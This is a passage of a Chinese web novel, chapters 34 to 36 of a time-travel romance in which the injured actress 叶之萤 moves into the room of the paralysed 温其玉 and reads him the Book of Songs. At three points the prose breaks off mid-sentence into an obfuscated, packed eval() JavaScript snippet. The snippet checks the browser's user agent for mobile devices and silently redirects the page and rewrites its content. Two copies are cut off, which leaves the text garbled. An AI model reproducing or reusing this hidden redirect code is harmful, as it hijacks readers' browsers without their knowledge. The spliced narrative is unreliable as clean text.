人生的遗憾正是在此,当一个人终于明白自己终其一生、费尽心思追求的那些物质、名利在生命中其实远没有健康、平安那么重要的时候,往往已经来不及回头了。因为人生没有重来。 可她不一样,她还有机会! 温其玉的目光依旧温柔。他不能给她任何肢体上的回应,也没有给她任何言语上的安慰,但他就是有一种魔力,只要一个眼神,就足以让迷茫的她豁然开朗,足以令她慌乱的心安定下来。他不仅可以医好她脚踝的伤,更可以医好她心里的伤。叶之萤说不清自己对他这种信任感是从何而来,但它就那样顺其自然、毋庸置疑地发生了。 她又萌生出了想要拥抱他的冲动。 “养好了伤再穿。”他叮嘱她。 她使劲点了点头:“以后都不穿了,谁爱穿谁穿!” 说完,便听话地去脱另一只鞋,脱了一半才发现没有别的鞋可以换,只好又停下手上的动作。 “你的衣裳恐怕要明日才能备好,衣柜底下……有我的鞋,新的,从未穿过。你若不嫌弃,待会儿让若飞为你取来,今晚应个急。”他说得小心翼翼,还特意在“新的”、“从未穿过”这两句话上加了重音。 “谢谢!”她表现出开心的样子,用这样的方式告诉他她一点也不嫌弃。 “里面还有新的中衣,单独放在柜子一侧,未与我穿过的衣物放在一起。可能对你稍有些长,但应付一晚……若你不介意的话……应该是可以的。”他低头不看她,言语间闪烁着掩藏不住的卑微。 虽然因为身体原因,他的衣服有时难免会沾上污渍,但他本人一直都保持着干净、甚至是洁癖的生活习惯。衣物全都清洗得一尘不染,有污渍的一概丢掉。每日擦身、定时沐浴焚香,身上和床上不仅没有一丝异味,还始终保持着淡淡的木质清新,干净程度绝对超越大部分健康的男性。但即使如此,他还是仔细地解释着,仿佛生怕她以为这衣服因他身体的不便而遭到了污染。 “谢谢你还来不及呢!只是不用穿新的了,就穿你穿过的好了。”她毫不犹豫地答应。 他愣了一下,而后执意道:“还是穿新的吧。” 不知为何,二人之间的对话突然变得很客气,客气得好像刚认识一样,气氛有些尴尬。在这突然沉默的空气中,叶之萤的呼吸也不由得急促起来。顷刻间,呼吸声便被这安静的夜晚衬托得过于明显,她只好又努力压抑住自己的呼吸,让它们尽量慢一些、轻一些。这一通内心的纠结让她好不自在!不知道此时温其玉的心里是不是和她一样思绪万千…… 偷偷瞥了床上的人一眼,却不巧与他四目相对,她急忙收回自己的目光,脸上的肌肉更僵硬了。 还好关若飞及时带着冰块回来,化解了二人的尴尬,叶之萤忍不住长吁一口气,她从未如此期待关若飞出现在这间屋里。 冰块太凉,即使已经用布包好,可拿久了还是刺骨的寒凉,叶之萤实在没法坚持,只草草敷了几下,就把冰块放回了盆中。 关若飞看她敷衍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别乱讲!你一个姑娘家,怎么能随便把脚往男人身上放?你难道没有……没有……”他组织好了语言,良好的教养却让他最终还是将那几个字吞回了肚里。 正所谓“此时无声胜有声”,虽然话没说出来,叶之萤却听懂了。 “没有什么?羞耻心吗?”她收回了搭在床上的那只脚,犀利地看着眼前那个涨红了脸的年轻男子。 怎么他还委屈上了? 叶之萤气不打一处来,怼他道:“我一直都是这样和人相处的,也一直都是这样穿衣打扮的,如果在你眼里,这就叫做没有羞耻心的话,那你就当我是一个没有羞耻心的人吧。” 关若飞也意识到是自己反应过激了:“夜莺,我不是怪你,我只是……” 叶之萤也不想和他吵了,谁让自己如今所处的就是这样一个社会呢!在这个社会里,自己这幅模样,就是没有羞耻心的吧?他好像没有说错。只怪自己还没有适应这里,这才闹了笑话。 “没事,很晚了,都早点休息吧,我也要先回房了。”她弯腰提起高跟鞋,一瘸一拐地去衣柜取了温其玉的新鞋和一件旧的中衣,又向温其玉一人道了晚安,回了自己的新卧室——阿力的房间。 脚踝的伤每走一步就会传来钻心的疼,但此时的她一点也不觉得难受。这钻心的疼正好将她的注意力成功转移,心里的郁结也因此得以舒缓。 那晚,她在屋里来回踱步,没有线路,没有时间,只为让自己的心里舒服一些。关若飞不停地敲门道歉,她拒不开门。直到整个脚踝肿成一片,再也迈不开脚,直到她的大脑已经开始混沌,再也没法难过,才稀里糊涂爬上了床…… 34. 奶茶的味道 “叶姑娘!叶姑娘!”迷糊中,叶之萤听到好像有人叫她。她环顾四周,却始终找不到人。 “谁?是……谁?”她想大声回应,喉咙却怎么都发不出完整的声音,只能艰难发出几声微弱而稀碎的音节。 紧接着,又是一阵猛烈的敲门声,好吵! 过了很久,敲门声总算停了下来,她终于不用再忍受那样的吵闹了。谁知过了一会儿,耳边又接连传来几声巨响,像是什么东西撞击木板的声音,吓得她的心脏砰砰直跳。 “叶之萤!”那人的声音来到了她耳边。 “叶之萤!”他又叫了一声。 她猛地睁开了眼,看到两个男人正在床边担心地看着她,一个站着,一个坐着。 她吓得一个激灵从床上弹坐起来,睁大眼睛把屋里环顾了一周,而后又失望地垂下头去。 “你……不认识我们了?”阿力问她。 她用手揉了揉太阳穴:“怎么会!”又看着面前的温其玉,吃惊道,“你怎么来了?” 她实在没想到,一睁眼,温其玉竟然坐在她床边。认识他几个月了,还从没见过他以这样的方式离开过那间屋子呢。 “还有,你们是怎么进来的?”睡前自己明明特意插了门的,她越过温其玉的身体往门口看去,发现木门闩已经断成两节,正躺在地上。 “你还问呢!今早我怎么敲门你都不应,吓得少爷以为你……”阿力满口抱怨,“实在敲不开门,少爷又担心你,这才让我把门给撞开了!不是我说,你睡得也太沉了吧!” “抱歉,未经你同意就擅自闯入。既然你没事,我就不打扰了。待会儿让阿力把午饭送过来,再把门闩重新修好。还有,林大夫下午过来,到时再让他为你仔细检查脚伤情况。”说话时,温其玉始终侧着头不看她,很是绅士。 他坐在一架木质的轮椅上,这是叶之萤第一次见他坐轮椅,从他的姿势不难看出,他如今的身体状况还坐不了这驾轮椅。 他上半身窝在轮椅中,已经开始向右侧倾倒,下半身也好不到哪儿去,右脚搭在踏板上,左腿却还拖在地上,甚至连鞋都没穿,白色的足衣已经蹭上了灰尘,看起来很是狼狈。 看到他这副模样,叶之萤眼前仿佛已经浮现出他慌张赶来救她的情景,鼻腔一下子就酸了。 “走吧。”他吩咐阿力。 “哎,等一下!”她一把拉住了轮椅扶手,在他疑惑的目光中,起身站在他面前,两手环抱住他的身体。 他的呼吸在她耳边骤停。 叶之萤偷笑一声,用力将他身体向上一提,摆正他的身体后,又将他的两条腿分别放在踏板上摆好。 “多谢!”他紧张得不敢抬眼看她。 “又不是第一次,我是你的丫鬟啊,少爷!”她笑着退回了床边。 面前的人却脸色突变,看着她光着的脚蹙起了眉:“你的脚,为何如此红肿?坐下,让我瞧瞧!” 她赶紧将左脚藏在右腿后面,心虚道:“没事,没事!你先回去吧,我没事的!” 谁知,他却毫无预警地说了句足以同时惊掉她和阿力下巴的话:“从今日起,你搬到我房里住。” 那语气并不是在与她协商,只是通知她一声。 “你开什么玩笑?那怎么行?”她的嗓门瞬间提高了好几度,人也吓得又向后退了一步,还不小心撞在床沿上差点绊倒。 这里的人不是都很保守吗?关若飞甚至因为自己把脚搭在他膝盖上就批判她没有羞耻心,可看起来比关若飞更加古板的温其玉,却要自己搬到他房里去住??? 他在开玩笑吗? 可他的表情看起来那么严肃,一点也不像是在开玩笑。 那他为什么呀? “你的生活刚刚经历巨变,我担心你一人住在这间屋子里,会再次做出出格之举,因此只好委屈你暂时与我同住一阵子。”他直截了当地道出了自己的担忧。 叶之萤心里也明白,自己这两日又是自杀又是自残的,他会有此担忧实属正常,只是她不明白…… “那为什么非要和你住?” “因为这院里与你相熟之人皆为男子,只有我全身瘫痪,连一根指头都动弹不得,绝不会对你的人身安全造成任何威胁,与我同住,你大可放心!”他竟然还耐心地给她解释这么安排的原因,全然不避讳自己的残疾。 “我不!”她浑身上下每个毛孔都在拒绝! “阿力,替叶姑娘把必要的用品搬到我房间去,将软榻收拾好,再在榻旁加个屏风。”他完全无视她的反对。 “啊?这……属下遵命!”阿力显然也被他的决定吓到,但又不敢不从。 “遵什么命!”叶之萤一瘸一拐跑到温其玉身边,尴尬地问他,“孤男寡女,共处一室,你自己说说这像话吗?” 他却笑着道:“又不是第一次,况且,你可是我的丫鬟!” “你……”这人还学她说话! “我不去!你都没问我同不同意,凭什么替我做决定?”她继续抗议。 “叶姑娘,我不能再由着你伤害自己了,待你接受了一切,真的想要好好活着时,我自然不会再替你决定。”他收起了刚才的玩笑口吻,诚恳地与她解释。 “你怕我再自杀?”当叶之萤问出这句话事,心里竟然有些发虚。 “如今你情绪不稳定,需要有人陪着我才放心。若是你实在不愿与我同住,那便派两个丫头来陪着你,如何?”他的语气越来越软,已经近乎哄着她了。 叶之萤是个典型的吃软不吃硬,听他这么一解释,再想到他硬撑着坐轮椅出来救她,心里一感动,便也不忍再拒绝他的好意,在与他住或被两个丫鬟每日24小时监视之间,她选择了前者:“那我要在你那儿住到什么时候?” “但愿叶姑娘能让在下早日重获自由。”看来谈判结果让他很是满意,居然又对她开起了玩笑。 “那我可要多赖些日子了!”叶之萤现在已经完全接受了这个安排。 阿力将温其玉推回了房,又拿了新衣服给她。短短一夜时间,他不仅备好了衣服,竟然还全部清洗过了,效率实在高得惊人!但这衣服嘛……嗯,审美着实有点不在线!一看就知道是阿力选的。 她忍着脚疼洗漱一番,极不情愿地穿上了那身红蓝搭配的衣裙,把自己的衣服收拾起来叠好,放在一个专门为她准备的雕花木箱里。刚放好,便看到阿力推了刚才温其玉坐的那架轮椅过来。 “这是干嘛?不会是给我坐的吧?”她吃惊道。 他点点头:“少爷说你的脚不能再走路了,一定要坐着这个,让我推你过去。” 她笑了一声,没理他,径直出门右拐,拐进了温其玉的房间。 彼时,温其玉正靠坐在床上认真地练习抓握,自从李渔的信里确认了腥月草可以解毒后,经过这些天的药物治疗,他的痹症果然有了好转,原先右手只有食指能微微弯曲,现在五根指头已经都可以弯曲了,只是身体其他部位还不能动。林大夫说,他中毒时间过长,加上是二次伤害,因此恢复得慢一些,也不能完全恢复到从前,让他要有心理准备。但温其玉的劲头依然很足,每天都积极配合训练。 看到叶之萤进来,他停下了手上的练习。 “阿力没去推你吗?”他问。 叶之萤指着门外的回廊道,夸张道:“连五米都不到的路,哪里还需要轮椅啊!” 话音刚落,就意识到自己的话似乎一不小心扫射到了某人,就怕“说者无心,听者有意”,赶紧偷瞄了他一眼,谢天谢地,看他的反应,好像并没有把自己刚才的话当回事。 他的声音很快再次响起:“在我面前,你行事说话不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991657|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必如此小心翼翼,我并没有那么不堪一击。” “啊?噢!”她尴尬地应着。 “坐吧,别站着了。”他看了一眼窗边的那张木榻。 “好,谢谢!”很奇怪,这间房子的一切,包括床上那个人,叶之萤之前明明都很熟悉了,这两个月,她每天都自在地出入这间屋子,自在地和床上那个人说话。可今天再踏进这里,却有种恍如隔世的陌生感,有种第一次去别人家里做客的那种拘谨。 她笔直地坐在榻边,一言不发,肚子却不合时宜地叫了一声,从昨天到现在,她一口饭都还没吃…… “饭菜稍后就来,你稍等片刻。”他显然也听见了来自她饥饿的胃愤怒地咆哮。 “嗯,不急。”明明已经急不可耐了,嘴上还要假装矜持,连餐桌上放的点心都不好意思过去拿,叶之萤今天意外的客气。 “怎么没见关衙内?”她其实并不关心关若飞在不在,纯粹只是找个话题缓解尴尬。 “他与阿卓有事要办,暂时离开几日。”他答。 “噢。” 又是一阵短暂的沉默。 “桌上有茶水和豆糕,你若坐着无聊,就先吃些解闷。”温其玉俨然变成了那位款待客人的主人。认识他几个月了,这还是第一次被他当客人一样招待。叶之萤发现他很会讲话,看出了她的不好意思,还贴心替她找好了台阶。 “好!”她顺着他的话,一瘸一拐地挪到桌边的凳子上坐着,拿起豆糕,刚吃一口,就惊艳了味蕾。 “哇!真好吃!”豆子的清新不算太浓,反而夹杂着绿茶的清香和淡淡的奶香,这味道有些熟悉,很像以前吃过的某种东西。 她仔细地品了又品,突然反应过来,不就是奶茶的味道嘛!她从前总不敢喝奶茶,如今终于不用那么苛刻地保持身材了,她一口气吃了三个豆糕,又拿起第四个时,才发现温其玉一直在看她。 “你吃吗?”她嘴里的豆糕还没完全咽下,话说得不清不楚,只能朝他晃了晃手里的豆糕。不等他回答,随便喝了口茶,就起身一瘸一拐朝他床边挪去。 “你脚踝还有伤,坐下,别乱走!”他立马提醒她。 叶之萤才不管那么多:“没事的,来,你也吃一口!” 他只好张开嘴小小地咬了一口。 “好吃吗?”她满怀期待的望着床上的人。 他轻轻皱了一下眉,反问她:“你喜欢?” “喜欢啊!这个味道特别像我们那里流行的一种饮料,饮料你知道吗?你们这里可能是叫……饮品?就是把茶叶加牛奶煮开,里面可以加一些淡奶油、椰子汁、紫薯泥、芋泥、燕麦、蜜豆,或者各种水果,还可以加用蜂蜜泡过的花瓣,总之只要是自己喜欢的,都可以加进去,再加点白糖和冰块,就做好啦!像我最喜欢的就是加玫瑰花酱,真的特别好喝!这个豆糕是用什么做的?”她滔滔不绝地跟他讲着这个名为“奶茶”的东西,兴奋得眼睛都亮了。 温其玉听了她的描述,心里却在想,给茶水里加如此多的配料,会好喝?他一向不喜给食物里添加一堆乱七八糟的东西,反而喜欢食物本身的单一味道。就像这豆糕,加了牛乳后,反倒遮住了原本绿茶的清香,他并不喜欢。 可嘴上却依旧说:“这是若飞吩咐厨房做的,里面加了些牛乳,你若喜欢这味道,我让厨房再做一些给你吃。” 叶之萤心里想答应,又有些不好意思,便犹豫着问他:“会麻烦吗?” “不会。” “那就谢谢少爷啦!”她笑得比奶茶还甜,而温其玉则坐在那里,静静地看着一朵朵桃花在这张惊艳的脸上接连绽放…… “还吃吗?” 已经咬了一口的豆糕被叶之萤翻了个面又送回了他嘴边。他愣了一下,突然对她口中那“奶茶”的味道有些好奇,于是又乖乖咬了一口…… 35. 信物 不一会儿,阿力把饭菜端过来了,叶之萤胃口大开,风卷残云的吃法让阿力惊得下巴都掉了下来。说来也怪,之前借用李渔的身体,并没有这种饿肚子的感觉,想来是因为李渔本身体质弱,食欲不振,所以连带她自己也没有胃口,如今她已形神合一,熟悉的感觉终于回来了。 “叶姑娘,看你身形清瘦,没想到竟然……”他有些不好意思直说。 “这么能吃?”她笑着补上了他的话,又说,“不能吃怎么长这么高?清瘦都是饿出来的。” 说完,又继续埋头苦吃。 阿力却不理解了:“你不是说你很有钱吗?怎么也会挨饿?” “挨饿才会瘦,瘦了才能挣钱啊!”她两句话就讲清了其中的逻辑,说话间,又在面前那盘已经所剩无几的蒸鱼中夹了块碎肉放到嘴里。 可阿力还是不太理解。 桌上的四道菜都被她扫荡干净了,她放下筷子,解释道:“我吃的那碗饭,需要我年轻、漂亮,身材好。如果外表不好看,观众就不喜欢,观众不喜欢,拍的作品卖不出去,我就没机会再吃那碗饭了。我们圈子里有位前辈曾经说过,想要吃明星那碗饭,那就不能吃桌上这碗饭。”她摸了摸圆鼓鼓的肚子幸福地感慨,“我已经很多年没有像今天这样吃过饭了,太好吃了!” 阿力终于懂了,随即热情地招呼她:“叶小姐,反正你现在也吃不上那碗饭了,以后可以放开吃桌上这些饭了……” …… “咳咳!”旁边适时传来温其玉的两声轻咳,阿力抬头看了一眼他,立马意识到自己说错话了。 “我……我的意思是,你终于不用再挨饿了……”他慌忙替自己刚才的话找补。 叶之萤并未介意他的话,笑着说:“你还怪会安慰人的。” 阿力看了眼温其玉依旧严肃的表情,吓得不敢再说话。 “你怎么这么怕他?怕他不给你发工资啊?”她继续逗阿力。 “当然不是,叶小姐,你吃完了吧,我先把碗盘收拾到厨房!”阿力匆忙收拾了碗盘,落荒而逃。 “我给你按摩吧?”叶之萤看着阿力的背影消失在门外,心想,总得找点事做吧,否则两个人整天就这么干坐着岂不是很尴尬? “不用。”被他拒绝了。 “吃完饭不能总躺着,要活动活动。”她一边说,一边拖着伤脚往他那边慢慢挪。 “你脚有伤,过去休息,别忙了。”他的语气不容商量。 她发现他有时候说话很艺术,比如让她吃豆糕的时候,但有时候又很直接,比如现在。 “没错,我脚有伤,但我是用手给你按摩呀!”偏偏她不是阿力,才不怕他,于是直接坐在了他床边,“先按胳膊还是腿?” “不用了。”他继续拒绝。 “那就从胳膊开始吧。”不等他点头,她就自顾拿起了他的右臂开始做伸直、弯曲这样的被动训练。 “叶姑娘,请放开我。” 他居然生气了?! 叶之萤原本以为他是不好意思麻烦自己才拒绝的,但现在看来,他是真的不愿意她碰他。 她放开了他的手。 “以后都不用再为我按摩了。”他收起了生硬的态度,努力让自己的语气显得友善。 “为什么?”叶之萤问他。 “我……不习惯。”他垂下了眼睑,表情有些不自然。 “之前不一直都是这样的吗?这是我的工作啊!”叶之萤被他说得一头雾水。但很快,她就隐约从他的表情里读出了他抗拒的原因。 他羞于在人前显露自己的残疾,所以这个院里从来不被允许其他下人进来,而他的这份自尊,只在两个人面前卸下,一个是阿力,另一个是李渔。 之前他把她当成李渔,虽然后面知道了真相,但李渔的样貌带给他的是难得的安全感,是自己的缺陷早已被她接纳的松弛感。 而如今面对一个全新的她,一个陌生的样貌,他自然需要时间重新卸下那份自尊,重新对她建立信任和依赖。 “抱歉,刚才是我考虑不周!” 他抬起眼睑,望着她道:“能否给我些时间?” 他愿意试着重新接纳自己,这让叶之萤很开心:“当然可以!听你的!要不,我给你读书吧?” “听我的,就安静坐着,别再来回走动!”书架在正对门的地方,他怕她脚伤加重,阻止她再走过去拿。 “好,听你的,不来回走动,那我跳着过去!”叶之萤单用右腿,很快就跳到了书架旁,还是取了那本《诗经》,又跳回他床边。 床上的人显然已经无语了,边摇头边叹气:“怪不得你的脚会落下病根。” 叶之萤正想说“让我安静地坐着,比让我死了还难受”,但一看到温其玉如今的情况,胸口一堵,便把话咽回了肚子。 “为何选这本?”他问。 “因为我天资愚钝,只有这本能勉强看懂啊!”她又想起上次给他读这本《诗经》,结果翻车反被他嘲笑的事,忍不住借机讽刺他一下。任何时候,她的这张嘴都绝不吃亏。 温其玉听她这么说,果然又开始道歉:“那时我对你做了许多不可理喻之事,实在抱歉!” 看得出来,他真的很后悔。 叶之萤不依不饶,继续“指控”他的恶行:“你也知道自己当时不可理喻啊!逼我洗那什么,还把我关柴房不给我饭吃,你知道吗,我差点就又被你给气死了!” 他的脸色愈发难看,只能不断地跟她道歉,又问她:“我要如何弥补才能让你好过些?” 弥补?叶之萤一看他认真了,便不再逗他:“算了,本人睚眦必报,当时也没任由你欺负,你也被我骂得不轻,还被我拳打脚踢……”说到这里,她也有些不好意思,“我们扯平了,以后,谁都不要再为这事内疚自责了,好吗?” “好,多谢!”他点头道。 “拉钩!”叶之萤伸出自己的小拇指勾住他弯曲的小拇指,又用大拇指碰了下他无力的大拇指,“盖了章,就要说到做到,不能反悔。这件事情到此为止。你以后都不许再内疚了!好啦,开始读书。” 温其玉看着两人的手被她强行按在一起,又拉扯着他的指头一本正经摆弄了一番,眼角偷偷浮起了笑意。 “《女曰鸡鸣》?”叶之萤翻着翻着,看到了一首名字很有趣的诗,便读了起来。 “女曰鸡鸣,士曰昧旦。子兴视夜,明星有烂。将翱将翔,弋凫与雁。 弋言加之,与子宜之。宜言饮酒。与子偕老。琴瑟在御,莫不静好。 知子之来之,杂佩以赠之。知子之顺之,杂佩以问之。知子之好之,杂佩以报之。 这首诗讲的是什么?” 她只能读懂个大概意思,但分开每句来看,又不甚明白,于是请教他。 “它写的是一对夫妻早晨起床时的对话。”他说。 “对话?” “没错。妻子说:‘已经鸡鸣了,该起床了。’丈夫说:‘天还未亮,我想再睡会儿。’妻子又说:‘你看,天上的启明星都已经那么明亮了。’丈夫看了眼窗外的天空,说:‘宿鸟们已经在空中翱翔了,那我就去打些野鸭和大雁给你吃。’” “果然是很有趣的诗!”她笑着说。 他继续讲解:“于是,妻子看着丈夫外出的身影,想象着将丈夫打回的野味做成佳肴,两人坐在桌旁,一边聊天,一边喝酒,祈祷着日复一日,他们的生活都能这样琴瑟和鸣、岁月静好。而丈夫也一直在心里记挂着妻子对自己的情深义重,回家时,也送给妻子一枚承载着自己爱意的玉佩。” 说的是她为他读书,结果又变成了他为她讲课。或许是自己已经远离这样平凡简单的生活太久了,这首诗又让叶之萤想起了早些年没做艺人时的普通生活,那些骑自行车上学、去苍蝇馆子吃饭、素面朝天赶地铁的日子。 “在想什么?”他问她。 她撇着嘴假装苦恼:“在想我可能永远也过不上这样的生活。” “为何?”他不解。 她道:“我既不会做饭,又不会女红,琴棋书画样样不通,更不会像诗里的妻子那样照顾自己的丈夫。我这样的女人,在你们这里应该找不到丈夫吧?” “那……那也未必。”温其玉的回答有些吞吐。 她笑着道:“别安慰我了,就我这样什么都不会的,在你们这里没有男人会喜欢的。况且你们的婚姻观念和我们也不同,就算有人喜欢我,恐怕我也接受不了他。不过也没关系,我本来就是不婚主义,我现在最发愁的事就是怎么靠自己在这里站稳脚跟,总不能一直赖着你啊!” 温其玉又为她宽心:“你踏实在这里住下,什么都不要想,先养好脚伤再说。你也看到了,我这里只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“诶,有了!”她把手伸进衣领中,拿出了戴在脖子上的那条银色项链,在它的底部挂着一枚硕大的叶形祖母绿宝石,她将它卸了下来,“这个送给你!” “这枚宝石如此贵重,你戴着它也很漂亮,我不能收。”他果断拒绝。 这枚宝石是叶之萤代言的一个知名珠宝品牌特意为她定制的26岁生日礼物,全世界仅此一枚,独一无二,当时这枚宝石吊坠面世时,还引起了全国轰动,每每看到它,叶之萤就会感慨自己这些年的风光无限好不真实。都说人死如灯灭,再辉煌的东西也是生不带来死不带去,但是没想到,它竟然陪着她来到了这一世。 她见他不肯收,便哀求他说:“你看我现在这么穷,这东西放在我这儿,指不定哪天活不下去我就把它给卖了。可我不想卖它,与其卖给陌生人,不如送给朋友,至少你不缺钱,一定会好好保管它的!你就收下吧!” 这绿宝石价值不菲,单是中间那枚硕大的天然叶形宝石,就已经极为罕见,外圈更是嵌有26颗钻石,预意那年26岁的她。古代虽然手工艺发展得好,审美水平也很高,但矿石开采工艺、提纯工艺与现代相比还是有天壤之别,这枚吊坠在这里只会更加价值连城。若是典当或买卖,想必也能得到一笔不小的金额,足够她在这里生活很长一段时间。但她实在不舍得典当掉身上唯一一件上一世生命的信物。并且,她亦不好意思白白接受温其玉的帮助,不如将此物赠予他,感谢他的同时,也换来自己的安心。 她想,聪敏如温其玉,应该是洞悉了她的想法,他没有再推脱,任由她将那项链放在了他枕头边上。 “再读一首吧! 投我以木瓜,报之以琼琚,匪报也,永以为好也。 投我以木桃,报之以琼瑶,匪报也,永以为好也。 投我以木李,报之以琼玖,匪报也,永以为好也。” “温其玉,”她把书举在他面前,指着上面的一行字说道,“你看,《诗经》都讲了,‘投我以木桃,报之以琼瑶’,你可不能再拒绝我了!” 温其玉盯着那行字看了很久,然后侧过头去,呆呆地望着那枚吊坠,不知道在想着什么。 此时的叶之萤只把它当成一首赞美人与人之间礼尚往来的诗,却忽略了诗中的另一层含义,而当后来她再回忆起这一幕时,才后知后觉当时的温其玉为何会是那般反应…… 36. 不听话的病人 二人正读着诗,林大夫过来了。进门看到叶之萤坐在床边,吃了一大惊。 “噢,这位是叶小姐,少爷的旧识,以后就代替渔儿在这里伺候少爷了。”阿力从容地跟他介绍。 “林大夫好。”叶之萤向他点头示意。 “叶小姐?哦哦,叶小姐好!”林大夫意识到了自己的失态,赶紧把目光从她脸上挪走,打开药箱,低头摆弄起来。 叶之萤正想起身腾开地方,却被温其玉叫住:“别动,先让林大夫检查一下。林大夫,原本明日才到您过来的时间,只因却有要事,不得不麻烦您提前一日赶来。叶姑娘近日因舟车劳顿,一直体感不适,却未能查明原因,劳烦您为其仔细检查一番,另外,其左脚踝昨日亦不慎扭伤,致使旧伤发作,难以行走,也请一并检查清楚。” 林大夫谨慎为她号了脉,又仔细检查了一番,她的身体一切正常,完全没有上一世病亡所带的任何损伤,也就是说,她是带着一副健康的身体重开一局,在这一点上,她必须得感谢老天。至于脚踝的伤,与温其玉说的一样,需要静养,不可再伤。 “我开一方药,烦劳林大夫按此方为叶姑娘配药,每日敷于患处,连敷十四日。”温其玉耐心交代。 林大夫亦虚心回道:“哪里哪里!温少爷的跌打药方千金难求,老夫今日总算有机会偷师了!您请说,老夫自当亲自调配。” 于是,他说,林大夫记,整整十五种药材,全都是叶之萤没听过的东西,其中有一味药叫“虻虫”……听到“虫”这个字,就足以令她虎背一震了。 “等等,‘虻虫’是什么?”她惊恐地问他。 “是一种可以清淤消肿的昆虫。”他道。 “是那种没有腿的吗?”她的头皮已经开始发麻了。 “是长翅膀的,跟蚊子很像。”他耐心解释。 “真的吗?”她有些不信,又看向林大夫和阿力寻求确认。在看到他们二人也点头以后,才慢慢放下了戒备。 林大夫走后,叶之萤始终不放心那个方子,终于忍不住问温其玉:“那个……你的药方里,有那种蠕……动的虫子吗?” 光是说出这几个字,就已经令她恶心得想吐了。 他摇头道:“放心,没有。” “你别骗我!我最怕那些东西了!如果有的话,我宁愿不用药了。”她再三确认,生怕他骗自己。 “我记得之前两次你试毒药致使全身麻痹,不是也喝了有地龙的药吗?”他不解。 “我才没喝呢,全让阿力给倒了!对了,是我逼他倒的,你别怪他啊,就算他不倒,我也不会喝的!” 他又一次陷入了深深的自责:“那我之前让你……” “不是说之前的事不再提了吗?”她打断了他。 他只好听她的话转移了话题:“那药方里原本是有的,但我换掉了。换掉后,药效减弱了一些,因此你要配合林大夫,好好敷药,不要走动,才能见好。此药乃我亲自调配,可不要砸了我的招牌。” 他知道她坐不住,总是想动,于是先卖她一个人情,再将自己一世英名都压在她身上,如此一来,叶之萤便没有拒绝的理由,只能听话了。 可叶之萤哪里是能坐得住的人,那一整天,她都瘸着一只脚在屋子里东逛西逛,伴随着温其玉一声接一声的制止,一会儿要拿吃的,一会儿要喝水,一会儿又要上厕所。到最后,温其玉实在劝不住她,便命阿力把所有她能用上的东西全放在榻旁,并警告她,若是再走动,就让阿力将她绑在床上。 当天夜里,她的脚就敷上了药,除了脚踝的伤以外,还有那些被鞋子磨破的伤口也都一并敷上了药,并且为了她能正常活动,温其玉还让阿力为她准备了一副拐杖。 她坐在榻上,看着那副做工精良的拐杖,感慨温其玉做事的效率真不是一般高。 温其玉侧身面朝外躺着,正好和她面对面。温暖的烛光映在他的脸上,今夜的他,显得格外温润近人。 “怕你坐不住,拖着伤腿到处跑,到时砸了我的招牌。”他眯着眼懒洋洋地说。如此放松的他,实在难得一见。 屋里的烛火一闪一闪,他的脸也忽明忽暗,在斑驳光影的映衬下,那张本就立体的脸显得更加精致迷人,叶之萤望着望着就出了神。 “为何如此看我?”他抬头问她。 “噢……”犯花痴又被逮了个正着,叶之萤匆忙收回视线,咽了下口水,胡乱编了个理由,“我想到了一件事。” “嗯?”他饶有兴致地等着她继续说下去。 “想到……想到……想到……”她须得迅速编出一桩好笑的事来,可是要说什么呢?有了! “想到我的脚第一次受伤时,找了一位非常有名的骨科医生为我治疗,结果我没听他的话,拆了固定的石膏跑去剧组继续拍戏,又打着封闭配合剧组的宣传路演,折腾了一个月,等工作结束再去找那位医生的时候,他一怒之下把我从他诊室赶出去了。”讲到这里,她笑了起来,模仿那位业内著名的骨科医生的口吻,“‘出去别说是我给你治的,我不想砸了自己的招牌!’他也是这么跟我说的,和你今天说的话一样。” “那就拜托叶姑娘你这次‘脚’下留情,如今我全身上下,就只有这点能拿得出手的能耐了。”他可怜兮兮地“哀求”她。 “你别激将我了!放心吧,我现在不像当年那样身不由己了,保证好好配合治疗。” “那便再好不过了。”他正说着,突然,叶之萤看到他的眉头突然使劲缩了两下。 “怎么了?不舒服吗?”说话间,她已经撑着拐杖走到了他面前。 “无碍,只是左臂有些痛。”他道。 她一激动,忘情地跳了起来:“真的?你的左臂也有感觉了?” 两只脚重重落地,却忘了左脚的伤。 “啊!”她痛得抬起左脚,大叫一声。 他无奈叹气:“方才还说要配合治疗,就这样配合?” “人家不是替你高兴吗?真没想到腥月草见效这么快!看来你很快就能好起来了!”她开心地合不拢嘴。 “若是没有你,我恐怕这辈子都只能这样躺在床上了,叶姑娘,多谢你。”他望着她,如墨般漆黑的眸子闪着璀璨的光华。 叶之萤却道:“不用谢,这是上天的安排,或许是老天爷不忍心如此对待你,所以特意送我来到你身边,为你……嗯?啊……不是……我的意思是,才会……哎呀,反正你懂的!” 一不小心说错了话,她有些紧张。 可明明就是自己发现了李渔的秘密,也确实是自己救了他,他跟自己说谢谢,自己不应该大方接受吗?到底在紧张什么? “那个……时间不早了,睡吧!”她匆忙结束了话题。 她帮他翻了个身,又为他盖好被子,叮嘱他:“晚上记得叫我给你翻身!一定要叫啊!” “好!”他点头。 叶之萤回到 